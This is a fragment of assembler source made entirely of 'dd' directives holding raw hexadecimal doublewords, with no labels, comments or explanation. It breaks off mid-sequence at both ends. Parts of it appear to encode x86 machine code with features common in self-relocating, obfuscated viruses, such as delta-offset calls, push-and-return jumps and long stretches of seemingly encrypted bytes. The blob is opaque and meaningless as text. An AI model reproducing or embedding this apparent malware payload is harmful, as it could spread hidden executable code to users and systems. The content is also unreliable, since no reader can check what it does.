3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0DA0E67C3h dd 52608D3Ch, 5BC2BF0Fh, 61DEBF0Fh, 218DB5FFh, 95FF0644h dd 6440BF9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0A8C35040h, 0AEFA54C0h, 0FF006A31h, 441C4D95h dd 0EBC08B06h, 4FC60B68h, 51BDF6AAh, 0AFAAEEECh, 71D67B2Bh dd 5372D7CBh, 5B75743Ch, 5CEFF6FCh, 0FF1DAAC4h, 7EF4AE47h dd 5A762F56h, 5BC954A5h, 666A67D0h, 0ECE94015h, 0B0A8A5E6h dd 1EF51BEh, 76E5D48Fh, 1128FE10h, 4637F188h, 7F3C8C0Ch dd 0EDD4375Fh, 0D128BEA9h, 0AF216343h, 9193CE38h, 93DE7173h dd 634EC9A1h, 6111B302h, 908D8D76h, 89064AADh, 441AB995h dd 5D8D8906h, 8106442Fh, 727AF3D0h, 7985C711h, 0F0064406h dd 6A000070h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 3439C350h, 0DDDC2C39h, 13F7813Bh dd 0C72B813Ch, 44107185h, 6, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 769CC805h dd 0A4327FB9h, 0BD8957ADh, 6442B91h, 71B5FF5Ah, 6A064400h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0B403C350h, 71AE3ADAh, 95FFCEB3h, 6440BF9h dd 5A536060h, 8E9h, 87C61300h, 10CB5C84h, 6A6161BDh, 4D95FF00h dd 8B06441Ch, 780AEBC0h, 3850AF89h, 8A1C1D09h, 0A08D8D31h dd 6A064AAEh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 1883C355h, 0FAFB4B6h, 88h, 7E85300h dd 82000000h, 0F3D338DAh, 0AE85369h, 0CA000000h, 561EE1C7h dd 0D78D38Fh, 5E5B5AEFh, 2F5D8D89h, 6A0644h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 47E12EC3h dd 0B4A933D0h, 0B8017478h, 4B242376h, 67985C7h, 6A9C0644h dd 85C70000h, 6441071h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 29C35141h dd 6487E6AEh, 1BCD9D8Bh, 0B5FF0644h, 6440D55h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 1AC35242h, 604051C9h dd 6830Fh, 0EA810000h, 5E67C764h, 0F995FF61h, 0F06440Bh dd 687h, 5BEB8100h, 6A67FA48h, 4D95FF00h, 8B06441Ch, 271EEBC0h dd 0B4480660h, 58EC7BC9h, 0CB375C30h, 46A186EDh, 6813ED46h dd 694EAFC7h, 9EAD3BE0h, 14E858h, 0FC8B0000h, 5752AC06h dd 73C01D25h, 0BFFB94F6h, 5BBC477Dh, 85298D05h, 6441C11h dd 0F9BF0F5Ah, 5DB3C281h, 0F0810000h, 7FD8CA50h, 0B9h dd 1C8BF900h, 8E90Ah, 0B8AE0000h, 114CE839h, 0C3811F44h dd 437540DBh, 0DE9h, 0E583FB00h, 312E3BCBh, 39639BABh dd 0EB818DB1h, 147CFE14h, 67C68166h, 7CC381D6h, 8B193889h dd 441B05B5h, 11E85306h, 0B2000000h, 65AD161h, 0CFA161E2h dd 99F81D8Dh, 19323255h, 0A048F5Eh, 695858Bh, 0E9830644h dd 81F18B04h, 0FFA2F0F9h, 8F850FFFh, 31FFFFFFh, 440D6D85h dd 0D804EB06h, 0E935CA59h, 555h, 0C46DCF35h, 73DA8AFAh dd 0CE67D54Dh, 842D8FF0h, 31984CBAh, 0B5130913h, 2D98A60Fh dd 0C1201EB7h, 178CB21Bh, 244004ADh, 0E5E500BBh, 2D9FC9C2h dd 5B72B15h, 5212734Dh, 0D193F5CBh, 8B4ED1B5h, 3CC93094h dd 0C2FC551Dh, 1E7AE361h, 9C16246Ch, 672F7964h, 0E178EC59h dd 99FD67DFh, 7CB762FDh, 3110C930h, 0D0ABE079h, 0C87CE946h dd 67E45F61h, 0FCDD4400h, 0D74A74DDh, 63C2FC65h, 7B0078E1h dd 7DDF42AFh, 0CB79EAD4h, 0CD523652h, 0C9307C0Eh, 4BD28AF7h dd 753D1C6Ah, 307C2CEAh, 2CF68DC9h, 873DAB95h, 41773F1Eh dd 1F49BE5h, 850Eh, 2B15BC00h, 0B09108BCh, 2BA301C2h, 5810B3CBh dd 0DE47FD66h, 2FEA9841h, 0D45E25C9h, 0F409F76Fh, 13C01h dd 4F8E0000h, 0C2C93ED7h, 9E87592Bh, 0AC1826BFh, 0F637E27Dh dd 0B190C92Fh, 0F68F4AD5h, 1938C92Fh, 229FA138h, 0C2ACDEBAh dd 30D13E05h, 0FAB12860h, 9F45A09Eh, 9582ACD7h, 241AB331h dd 0C8AC05BFh, 2B8833ACh, 0CC53C930h, 0C9302B0Dh, 8DE99FBEh dd 302B6712h, 604160C9h, 2AE09B04h, 0C8E9C930h, 0D94F3280h dd 0C9500C74h, 0F1D08CF7h, 0F7749D0h, 990F3155h, 0E4FA632Bh dd 0C07BE480h, 9C93094h, 0F1B6028h, 6400C422h, 93DC9F00h dd 0CCEDC930h, 0B2132D84h, 9431E877h, 0BB9AC930h, 5967039Ah dd 0CFEE77EDh, 8C49B987h, 1534AD17h, 0F76E5034h, 2FB0D44Dh dd 0C930946Ch, 155D7C5Dh, 66B0CB8Ch, 0F4B13581h, 84FE01h dd 4F4C0000h, 7D0F6BD9h, 0DFB13A59h, 4BF96FF2h, 9AD2F3D2h dd 17C53D03h, 0D1881773h, 0FAC92FD8h, 410A93DBh, 1BDE4125h dd 0ACC92FD9h, 74BEC58Dh, 0AA32187h, 8B12D234h, 9904CB5h dd 8B12CA37h, 89153B5h, 2D1F0B70h, 7205116Ah, 0F168D44Ch dd 201BFE83h, 7E5FFF2Ch, 1EB40036h, 524101F4h, 0F3000000h dd 0F26BD94Fh, 7EE755CCh, 462DF40h, 0C6F86140h, 47CE55Fh dd 0DB46B37Fh, 512A4061h, 46FE68C5h, 0D74F5DEFh, 37B096Dh dd 0B22A9732h, 0CE347BC0h, 457B1F86h, 6C6A2DDEh, 0ADA21A60h dd 9D5BC48Ch, 3CC93019h, 0E76DB47h, 2701F439h, 1, 76D34F95h dd 0EF76570Dh, 69F074D1h, 53C06A11h, 0A2E44DEFh, 87E3870Eh dd 0D9448B9h, 6ADD5E2Ch, 446DB7FFh, 0BC39930Ch, 0D0A2CF73h dd 94B5BB33h, 1B7F0D56h, 5028FB43h, 0B293E5ADh, 799FA4D6h dd 21AAF189h, 0ED754B95h, 0F4766A7h, 893BA896h, 28364420h dd 381FF41Eh, 57CCF2BAh, 0B42D8FF2h, 0B22DB495h, 0C2EBE705h dd 0C275A1DAh, 6BAFA5B0h, 48BF23h, 0A300C53Eh, 97A90021h dd 0A0D2B62Eh, 38798F97h, 891D98Eh, 8E17CD36h, 0D23FEB90h dd 6C5AF371h, 0FBB028F8h, 13B3Dh, 0A23D5900h, 0C2EC14F7h dd 0BB9F1D0h, 76129B37h, 74C1A3E9h, 52CBEACFh, 0F252F76Ch dd 6D4CF86Dh, 77EBD5F4h, 734DE4C5h, 6BD94D12h, 983C80F2h dd 6C9DA1DCh, 0CBF56C4Dh, 6D73EA5Ah, 0B62F0C16h, 0D28F385Dh dd 0AF913A3Ah, 0C9AD8C38h, 4BD28AF7h, 72F2546Ah, 2B82CAEBh dd 0AFCCA91Dh, 4A4AFBh, 15F80000h, 0B215BA2Bh, 0AB8AAB32h dd 9B11A5E3h, 223BA2Ah, 71D84723h, 0FAC93094h, 1EDD42DBh dd 57C93094h, 714F022Ch, 1637AE16h, 397C185Eh, 9A07395Dh dd 3716C63Dh, 0BA239909h, 0DD4CD39Bh, 6EC93094h, 9172E64Fh dd 0C0000000h, 76129B37h, 74A097E9h, 0B3D7F6CFh, 0BABB18C1h dd 0FD6B07CDh, 0B72E6647h, 0CCA81C89h, 672F8DF2h, 9493F0CEh dd 0EC36500Bh, 665879C2h, 0FCDD4400h, 1BDB44DDh, 4EC2EC37h dd 3256E935h, 0EC35EEADh, 0DCADDFC2h, 0DAE2562Ch, 0F6C880A1h dd 1A7ED78Dh, 4800BC24h, 4F2B620Eh, 370596D0h, 92F6D7C9h dd 0C28A3AACh, 5B00655Bh, 0C15879EBh, 0A158C2B9h, 62FD249Fh dd 0C92203B7h, 58103110h, 5F3B721Eh, 6CB286C0h, 82E6C7CFh dd 19844BCh, 73C16820h, 76129B37h, 7B439FE9h, 56CFEECFh dd 0E049FB68h, 9BFF65DEh, 5C5D6EE9h, 0B7C54B7Ah, 7C4D8581h dd 34ADE5DBh, 0F0AB3450h, 0D9C2E611h, 5C2FB0F8h, 0E5F666FFh dd 0F96BDD82h, 97F41D8h, 0F289C25Bh, 0E458CB28h, 29F58EC5h dd 44ED57CCh, 0C25B097Ah, 40D983FCh, 0C45D077Eh, 42DB89FAh dd 75C75328h, 4FAC760Dh, 0F9C76ED6h, 0D541D88Ch, 3, 4FFB4967h dd 0C0FE67D5h, 4678E163h, 0C6F861DBh, 427CE55Fh, 0C7F960E4h dd 447AE361h, 0C6F861DBh, 457BE25Ah, 0EDFA63E1h, 81E18951h dd 4C1h, 4BB5300h, 29000000h, 0C875BD9h, 89535C24h, 4C381E3h dd 81000000h, 4EBh, 241C8700h, 2434895Ch, 81E38953h, 4C3h dd 4EB8100h, 87000000h, 895C241Ch, 0B850242Ch, 64AAF7Ah dd 54585E50h, 83242C8Bh, 0EC8104C4h, 4, 0BB241C89h, 8 dd 3389EB01h, 2434FF5Bh, 4C4815Dh, 8B000000h, 89502434h dd 405E0h, 0C0830000h, 24048704h, 0CA58E95Ch, 0B4D4FFF9h dd 987D16E5h, 0C5BB79D2h, 0B46C8967h, 0B43AB85Dh, 0C503064Ah dd 5FFAE0FFh, 799E5FF5h, 5C0F147Eh, 5C5A242Bh, 5354356Bh dd 1B42644h, 0B06564C8h, 2D656F15h, 84CC2440h, 0B3AE53C4h dd 0B033473Dh, 0DD2F002Fh, 0B6D5492h, 0D1B1758Ah, 3599072Bh dd 88EC3FBCh, 0B764B73h, 924933EEh, 746FD0h, 0B5A077B1h dd 2D34054Eh, 8D8D2287h, 64AB624h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0E7C35242h, 0C8C1C4C9h, 0DE960h dd 83A90000h, 0BB466CD3h, 0E83462C8h, 66B310A1h, 61397ABEh dd 2F5D8D89h, 0BB660644h, 85C7CE8Ah, 6440679h, 6BE0h, 107185C7h dd 644h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0B32EADC3h, 0F66D37Dh, 0C88h, 7E900h dd 264E0000h, 7852BF6Ah, 0DDB5FFF2h, 6A064408h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0AFB2C350h, 1B59A143h, 0F5C14FBh, 684h, 0F99D8B00h dd 3106441Eh, 4409D5B5h, 0F995FF06h, 6A06440Bh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 2000C353h, 6A23F23Eh, 4D95FF00h, 8B06441Ch, 0DE7CEBC0h dd 36200853h dd 6807787Dh, 221680ABh, 0E179589Bh, 0EC0C2698h, 76FA4C1Bh dd 4F794EBFh, 0D2791BA7h, 0BFA02550h, 28D0D6C8h, 0FAEA6AE3h dd 0F1469264h, 5ADBAC85h, 0D749EBC8h, 0C443050h, 6C68720Ah dd 1B45F985h, 9B6B68C7h, 0A70DA023h, 0A6CD3F69h, 34338DDDh dd 73BB1FFBh, 6A20EC03h, 0DB4D9DA9h, 873A0D05h, 0C0D31788h dd 1A36C789h, 3465DDCEh, 82F96845h, 93F0E22Fh, 0E8A7BCD3h dd 14h, 3A5A340h, 0E9EAF33Eh, 0EEF2CBB6h, 1F250990h, 0AFB65525h dd 23398589h, 0F5A0644h, 685h, 0E59D8900h, 81064428h, 6AF8C2h dd 4D9D2B00h, 6806442Ah, 1A93h, 20AD8589h, 60580644h, 16BD8D01h dd 71B80644h, 6177FF98h, 8D8B32FFh, 64403C5h, 0B98D295Eh dd 81064417h, 630384F6h, 11E839h, 0B4970000h, 0F2E02A5Eh dd 6AA08A25h, 0C4E04C29h, 8B1BFC6Eh, 0F68159FEh, 1874C481h dd 81D8B70Fh, 0CD7C60F6h, 0AD8D8B45h, 56064423h, 6890Fh dd 8D8B0000h, 6441F0Dh, 8B56028Fh, 0EA835FDAh, 83FB8B04h dd 850F01E8h, 0FFFFFF9Ch, 2E985C6h, 68560644h, 0A9C530DFh dd 17E9B5FFh, 858D0644h, 64777AFh, 8D8DD0FFh, 64432E9h dd 0FF406A51h, 4418D9B5h, 59B5FF06h, 0FF064430h, 0D9B5FFD0h dd 0FF064418h, 443059B5h, 0EE806h, 28DC0000h, 19B30ACFh dd 0D3CC78DCh, 0D6AF5FA7h, 0EA835A5Ah, 242CC104h, 2424C102h dd 24140302h, 2B241CF7h, 320C8BF6h, 6CF9E981h, 0C18174E5h dd 1D8332B6h, 40DBE981h, 0C8951F4h, 3EE8332h, 24343B4Eh dd 0B850Fh, 10E90000h, 0C4000000h, 0BB2CE69h, 0FFCBE960h dd 0DBBDFFFFh, 8DD36315h, 4408799Dh, 0B038B06h, 7840FC0h dd 8B000000h, 45B8B03h, 0C98B1889h, 15FE9h, 0D48B5200h dd 0E860h, 815D0000h, 4AB820EDh, 8428B06h, 2638453Dh, 38850F78h dd 8B000001h, 4A8B0C42h, 0BBC8D318h, 8B74FD86h, 0E883C333h dd 5D858904h, 8B06442Fh, 0F88B0458h, 8B10428Bh, 0C8D3184Ah dd 0C7D7ADBEh, 2BC633F7h, 0FCE083C7h, 8904E883h, 44067985h dd 14428B06h, 10718589h, 428B0644h, 0B0E95318h, 0FF000000h dd 441C9DB5h, 0B9E906h, 0B5FF0000h, 6441EB9h, 0AEE9h, 8DB5FF00h dd 0E9064421h, 0A3h, 0C0DB5FFh, 98E90644h, 0FF000000h dd 4408DDB5h, 8DE906h, 0B5FF0000h, 6440D55h, 82E9h, 71B5FF00h dd 0E9064431h, 77h, 30F5B5FFh, 6CE90644h, 0FF000000h, 44196DB5h dd 61E906h, 0B5FF0000h, 6441649h, 56E9h, 49B5FF00h, 0E906440Ah dd 4Bh, 0D41B5FFh, 40E90644h, 0FF000000h, 440071B5h, 35E906h dd 0B5FF0000h, 6441099h, 2AE9h, 39B5FF00h, 0E906441Fh dd 1Fh, 318DB5FFh, 14E90644h, 8B000000h, 0BB8D8h, 0F7660000h dd 818D8DE3h, 3064AB8h, 0FFE1FFC8h, 440BF995h, 858B5B06h dd 6442F5Dh, 0F045839h, 0F85h, 16A5300h, 1C4D95FFh, 0E95B0644h dd 0FFFFFFE2h, 61C35A61h, 0C96AB85Ah, 0E0FF77D4h, 9A1858Bh dd 8D8D0644h, 64AB96Fh, 8B014189h, 28D8DC3h, 0F9064ABAh dd 2F5D8D89h, 6A0644h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0C3A259C3h, 0BECC551Bh, 66DA8B66h dd 8166C68Bh, 0C72A39DEh, 44067985h, 5F0006h, 75858900h dd 0C7064431h, 44107185h, 6, 659D0300h, 0FF064404h, 440071B5h dd 0FFFA8A06h, 440BF995h, 7E906h, 0BEDF0000h, 0A7B98E06h dd 0FF006A55h, 441C4D95h, 0EBC08B06h, 0AE6B6D0Ah, 0C5AE8610h dd 0E91538FCh, 0ABh, 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h, 0F653F545h dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 0E483323Dh, 0E9316834h dd 1317h, 4ABCA368h, 0C448E906h, 7868FFF9h, 0E9064ABDh dd 0FFF9C43Eh, 4ABE4568h, 0C434E906h, 7468FFF9h, 0E9064ABFh dd 0FFF9C42Ah, 4ABFE268h, 0C420E906h, 0A068FFF9h, 0E9064AC0h dd 0FFF9C416h, 4AC16968h, 0C40CE906h, 1A68FFF9h, 0E9064AC2h dd 0FFF9C402h, 4AC2E368h, 0C3F8E906h, 3E68FFF9h, 0E9064AC4h dd 0FFF9C3EEh, 4AC51F68h, 0C3E4E906h, 9268FFF9h, 0E9064AC6h dd 0FFF9C3DAh, 4AC80368h, 0C3D0E906h, 0FB68FFF9h, 0E9064AC9h dd 0FFF9C3C6h, 4ACB1B68h, 0C3BCE906h, 0B113FFF9h, 289CA20Bh dd 0B72B15BCh, 2D92AC05h, 0AE18268Fh, 73BD9F36h, 0CA51F89h dd 0B811D332h, 8A11B86h, 0BE17CD36h, 5A019EFAh, 73C2E5D9h dd 0D64F9725h, 3931E13Dh, 19382497h, 9F45BE80h, 55E07036h dd 0FD6B5531h, 0B7FFDE47h, 73B83A28h, 49BF81CFh, 84A5D39Bh dd 0B6D3821Dh, 0A1C5C2EBh, 797275D3h, 70386997h, 0CA3A1F0Bh dd 6BFBB077h, 40h, 0B72B15D9h, 15C73B05h, 3E771B5Dh, 4301645Ah dd 6AF06F0Bh, 0A3CF749Fh, 0ABB927D1h, 0B594BF4Fh, 8204B32Ch dd 188DC2ECh, 9C0B35ACh, 0B2C9B128h, 0A8D39468h, 0A12D997Eh dd 0E5C6FBB0h, 74000000h, 0A6ED64Fh, 98DA4878h, 0E3ABE9E8h dd 62E2447Ah, 0E460C5FBh, 62E2437Dh, 0A99A54CBh, 3293C92Fh dd 7EE8D6B2h, 407E5FC6h, 9D347CE0h, 58C742A3h, 0C92FA8A1h dd 0B32A0B2Ah, 59CF5DF5h, 0D94C72EBh, 0F2D3F26Bh, 1A89B7D3h dd 118EEAA2h, 0CF73AB5Bh, 9C48BE80h, 2A83A2D4h, 2D49C46Ch dd 324E52B2h, 51B58BC9h, 0FC780A93h, 0B196CCEBh, 65012001h dd 3F77ED5Bh, 4103655Bh, 70A71B25h, 2DA02CEFh, 9DBC9DC9h dd 0E4427CD5h, 50CDC560h, 0AA337DE1h, 10923Eh, 0C676EC00h dd 4FF5516Fh, 0F468D8E6h, 5EFE635Dh, 0E55FC9F7h, 56C66E4Ch dd 0E3DD74F0h, 5769C084h, 0E7D970ECh, 2B6FC67Eh, 0D829D04Fh dd 0F4A2C2E5h, 0E1671546h, 92184DB4h, 91F7C981h, 0CBEA5ACCh dd 0A554CBAFh, 26C93049h, 0D8E64F07h, 0E250F96Bh, 8BC2B15h dd 0BEF8B091h, 0A11B8412h, 0E17BE480h, 28CF749Fh, 0EDCDD75Ah dd 597857AFh, 6985FC0h, 6318C2ECh, 25F252B7h, 0A803FBB0h dd 0B1000000h, 0F76ED64Fh, 7CE55FC9h, 2BA2618h, 6DF2BA9Bh dd 0C93098A3h, 228B39AAh, 0FEBD2246h, 0CFC93090h, 2B98A6EEh dd 7A4420B9h, 54125A0Ah, 8A1571BCh, 0CF7493C0h, 0C7812809h dd 1986E22Bh, 0C933389Ch, 2A147051h, 9FA108BCh, 1EBB29h dd 767DE100h, 0FBD7BEFh, 0CD370000h, 8CF8C66Fh, 0D34F71D8h dd 81FEC069h, 0DA4C72DBh, 37E1C36Ah, 48E163C5h, 0FC550F76h dd 54FD5FC2h, 0E24BF96Ah, 9E5DC2A6h, 2FC2E5D7h, 0D94FCB79h dd 87FCC26Bh, 79CBB9DDh, 0C742ADEBh, 0F2D391F4h, 57713BAh dd 0C7178DEBh, 38AC1B47h, 4FE35119h, 0C9F76ED6h, 7F41E85Ch dd 0FEC05903h, 0C576DF85h, 7CB959CEh, 96B98718h, 3918CF74h dd 5C00635Dh, 54305414h, 0EC9210CBh, 0D098B9C2h, 76C3894Fh dd 2D6808BAh, 7B22D49h, 0C0D76261h, 45DC88FEh, 0BE214564h dd 0D76260FBh, 0C1A5EDCCh, 0A665605Eh, 59C0E1DDh, 0C125731Fh dd 78462203h, 7F1B5309h, 0EDDBE4E0h dd 7C1839D7h, 0CA63E142h, 70D58FF4h, 8C2EE294h, 0F09F0B92h dd 0A00000Eh, 0B38D2498h, 6389153h, 0B58B229Ah, 739904Ch dd 0A88A23A1h, 0BA2A9C80h, 0ABA2D13h, 0B6269DA3h, 0C4211Fh dd 1689EDA9h, 0C2E5D663h, 4F803264h, 5B42BD6h, 0C6C93094h dd 0C6A2C6E7h, 3094A259h, 5F0563C9h, 0D9400829h, 0DEBAF39Fh dd 74C1F741h, 0DE7756CFh, 0D9BDF898h, 30980046h, 0F96041C9h dd 3077AF66h, 73E958C9h, 0F272D4EAh, 949EE56Bh, 0A59BFFB8h dd 3C1D8440h, 3E230F74h, 1F496C6h, 3C6Fh, 0F06F0B00h, 0C9308349h dd 59EBA382h, 76129B37h, 74E283E9h, 8FEBCACFh, 8EEA52B1h dd 0F7A319FCh, 81C9B34Ch, 0F602B728h, 1A8BC2EBh, 0C63D03AAh dd 0BE279D09h, 0B327BE9Fh, 0E2Fh, 0B62B1501h, 0F6BE9F06h dd 51C620B0h, 7A0833Eh, 0CF503415h, 0CF7A78BDh, 77492D0Ch dd 0C32560Eh, 0CD642C98h, 0B6D292F3h, 880160C4h, 0E9D72C54h dd 7B5AC379h, 0F0CEAA33h, 0DF99D193h, 0C282E533h, 731887E3h dd 78C930D9h, 0A2033D59h, 0D1EF8B22h, 0BB85CD77h, 45039A4Ah dd 9B0460ADh, 0CF73E0DDh, 8268CDECh, 0B47BA776h, 0DC1B92Dh dd 0C93B0000h, 2084BA13h, 0CF330DA4h, 85FAC46Dh, 0E6407ED7h dd 2BF5D77Eh, 0C46DD731h, 70D98BFAh, 0C069D34Eh, 76DF85FEh dd 12C95632h, 0BBC2E5D5h, 27EE5FEDh, 0A8C93094h, 0A457C808h dd 6DC93094h, 113046F6h, 2ACB5430h, 0A3CF7B4Eh, 6BD8E682h dd 0E5C480E6h, 5311724Ch, 0A9E48CCAh, 80452CDh, 6445C92Ah dd 0ED3231C1h, 0DA4ED77Dh, 0D53h, 2C8537ADh, 9B32B212h dd 369F3DA5h, 8C259708h, 399054B2h, 0BD2B111Bh, 3590AE07h dd 0A918268Fh, 3FA49A33h, 0C682C85h, 0E5D4E893h, 5B7E1C2h dd 0F76ED64Fh, 8CE85CC9h, 0ED910FFEh, 2169ADC0h, 79A5DEB8h dd 0D68EF8C6h, 6F3CA89Eh, 0EBF901F4h, 9D000006h, 0A19F45A3h dd 26079E46h, 6715DC6Eh, 5E9CFB32h, 27612912h, 0F966028Bh dd 0CF7AF769h, 85E185A4h, 0E974DBBh, 0AB2112Fh, 0C4FAB293h dd 724CE55Fh, 6BD94C11h, 96F2D3F2h, 0CF873DA8h, 0A70EC956h dd 0E38FC2E5h, 0A7C970EFh, 2302C2E5h, 70026602h, 13F07130h dd 51CE865Bh, 0C92A8007h, 4C26746h, 0E27DEDCAh, 0C95EF7Bh dd 75EF0000h, 0F4506EC7h, 7BE7D970h, 0E95668C1h, 82E4DA73h dd 0DF496BC2h, 0F0590B7Dh, 44ED57CEh, 0FC55077Ah, 4AE361C2h dd 46F56A0Eh, 87C2E5D4h, 0D64F63D1h, 0B91E613Dh, 0FB6607D8h dd 0D8416041h, 9447D8BCh, 35C92FFEh, 1625C14h, 0DC432743h dd 0C92FFE1Dh, 0FE7823BCh, 7051C92Fh, 0F66F2706h, 0DA3FEB90h dd 1F4196Ah, 6158Bh, 27EE3900h, 0A8C93094h, 0A457C808h dd 25C93094h, 0DE412504h, 0CF7B4E82h, 0B886E2C3h, 0A51F864Bh dd 0C2231D3Ch, 0EE8A2302h, 84CC70D0h, 1BC849BAh, 4A58CD85h dd 0E084E0C1h, 0B3D72992h, 8F102BFBh, 0C2E5D9CCh, 0D94DCFDh dd 0A6EA74Bh, 2A074395h, 6A382C9h, 7DED32CAh, 0CC3DA930h dd 2600000Bh, 97A900BCh, 221CB52Fh, 89B71EBEh, 330DA418h dd 0E4C66FD5h, 0FE66C03Ch, 46FE6957h, 0CA72D1EFh, 7CE85D63h dd 6AF591D5h, 0C2E5D3AFh, 4FFC4E18h, 501471D6h, 6DD6E871h dd 0EF506EF7h, 7AEAD44Dh, 423953CAh, 790264D8h, 0AFDC48ADh dd 631901F4h, 0AB000005h, 76129B37h, 7B4EAEE9h, 0CE7F0DCFh dd 7D91280Dh, 0CBEA9CD4h, 8C3091AFh, 259EA0C4h, 82E5DBBFh dd 2655BC2h, 822B6342h, 0F99D47BCh, 8CF95EC7h, 4160F9D8h dd 480F9009h, 6BC2E668h, 0F86BF055h, 0DDFC6544h, 0F63FD395h dd 95AB0D92h, 3B1AC92Ah, 0EDA44C9Eh, 0BF2BB27Dh, 0B1Bh dd 0E44DEF55h, 53FA6ADAh, 0EE47F56Dh, 64CD6FD0h, 0D178EC5Ah dd 0D53329F3h, 8DF8C66Fh, 0E1407ED7h, 77ECD27Bh, 442064CDh dd 0E5D220DBh, 4DFFA9C2h, 0F76ED64Fh, 8CE85CC9h, 68138CE8h dd 61C93094h, 941CDF40h, 8CADC930h, 94C477E8h, 2405C930h dd 0E893F56Ch, 0AF6DD93Eh, 8CB201F4h, 0BFEFA715h, 4A2h dd 942CEE0Dh, 5ADC930h, 2173EC88h, 58CF7B4Fh, 0FB5D012Ah dd 7B5A1935h, 1FC4211Fh, 81A039A3h, 3FA0C4A0h, 0C2E68B7Ch dd 8D246C4Dh, 0A071D7E9h, 0C4F05D10h, 0EF7657DBh, 4BB886CEh dd 469843DCh, 1031C2E6h, 42EEA831h, 3591AFCBh, 0AA8B3190h dd 331986E2h, 0BAC92A72h, 0C0E63E9Bh, 0B52C7DEDh, 0A5221h dd 8636AC00h, 0FB5112Fh, 0B42898A6h, 1EBE231Dh, 0A51F89B7h dd 16062E0Ch, 0A39D34B0h, 17298044h, 0A79930ACh, 6B2F863Eh dd 0D1E9900Fh, 0B4E2C2E5h, 71D64F06h, 0E8C95014h, 56C9ADC9h dd 0C93094A3h, 0CC3B0524h, 0F7C95018h, 514FD68Eh, 0B213002Ah dd 39AD9B32h, 0FA01F4B3h, 15Ch, 9C40A09Eh, 0D64F66D4h dd 0C4C16E3Dh, 2145FCEAh, 3066FBBEh, 0CCEDCCC9h, 4AFA6B55h dd 800DA5E3h, 88897BE4h, 0A0D2CF74h, 0A65E327Ah, 2B5D1512h dd 490C930Ah, 4BC2EC55h, 0A501E630h, 4EFBB070h, 60h, 2FAC142Ah dd 0B19009B3h, 156AD890h, 942BEE71h, 118EC930h, 0C930946Ah dd 15344263h, 3E771B5Dh, 41FB645Ah, 0D5B1F9D8h, 749FB04Ah dd 0CD350BCFh, 2351276Fh, 4C7BC393h, 1BCDA2B6h, 5A5BBD37h dd 5CC35A7Bh, 0C2EC4299h, 51B6601Bh, 0FBB061F5h, 0A93Eh dd 0A13E5A00h, 0C2EC4DFAh, 8BAF2D3h, 0F76ED64Fh, 893BAD93h dd 0C489FFC1h, 4766FF5Dh, 64C1FF66h, 0F9D884FFh, 7FE55E60h dd 0BF9749D6h, 57EC930h, 0E47DDF40h, 294DE4C5h, 6927D24Dh dd 81A0C930h, 0AAE38FC9h, 0F6251CEh, 0FF9BCF77h, 0EA06B960h dd 123312C2h, 66DE4876h, 2D97F1CFh, 0A52B2688h, 5DC9507Bh dd 8F7h, 0A91371h, 0B71EC63Eh, 0AA31989h, 0B811CB34h, 0DA42086h dd 0B117052Fh, 41A49A33h, 0AD142A83h, 2B98A60Fh, 305410B9h dd 0E5CFECAFh, 398BDDC2h, 0C26BD94Fh, 74DD87FCh, 3CFF6210h dd 0CC2433E5h, 0D64F3684h, 5CC9F76Eh, 1B2541E8h, 3B928ADh dd 39ABB9Ah, 87FE6A22h, 4C000002h, 76129B37h, 74B8DFE9h dd 0B1102ECFh, 92B3920Bh, 6FE1940Bh, 0A8D3C2ECh, 30AFCB7Eh dd 0C2EC7089h, 0B22B990Ah, 68DBE593h, 0AB9DD5F4h, 0FBB08F3Bh dd 230F8h, 71154A00h, 30942BEEh, 0F5BD9CC9h, 3094B26Ah dd 3C7B09C9h, 84E9255h, 0E78BCD85h, 91F4CAAEh, 236B4AD3h dd 2D80D847h, 0ECCDCF7Bh, 974DB688h, 21A3003Eh, 5A0A7B45h dd 25CD8B12h, 39138CE8h, 0B0C92A25h, 15803491h, 0BF267DEDh dd 8162Bh, 4AF25000h, 0FB69DDE3h, 48F46C52h, 0FA62DFE1h dd 49FB6D53h, 0E25AC2E0h, 5769C084h, 0E3DD74F0h, 4B75DC80h dd 87C36ADAh, 0CFBD7CE3h, 580EC2E5h, 6ED64FEAh, 0E85CC9F7h dd 0A146F71h, 0FB400577h, 5249D0EAh, 30040ECDh, 0BF9EBFC9h dd 0F75CC9F7h, 73EED08Ch, 507150C9h, 2357CFF9h, 7E9C01F4h dd 2E000001h, 0F76ED64Fh, 8834AD93h, 46783011h, 0AACE67DDh dd 2AB33194h, 6D05430Bh, 57A4420h, 47FD6957h, 0D3B7FFDEh dd 74B5564Ch, 67DBE5CFh, 0EACBBDF5h, 7429EC73h, 0D0ABC2ECh dd 8F85E146h, 60AEFBB0h, 0CA000000h, 7C8A31AEh, 6243C2ECh dd 7115982Ah, 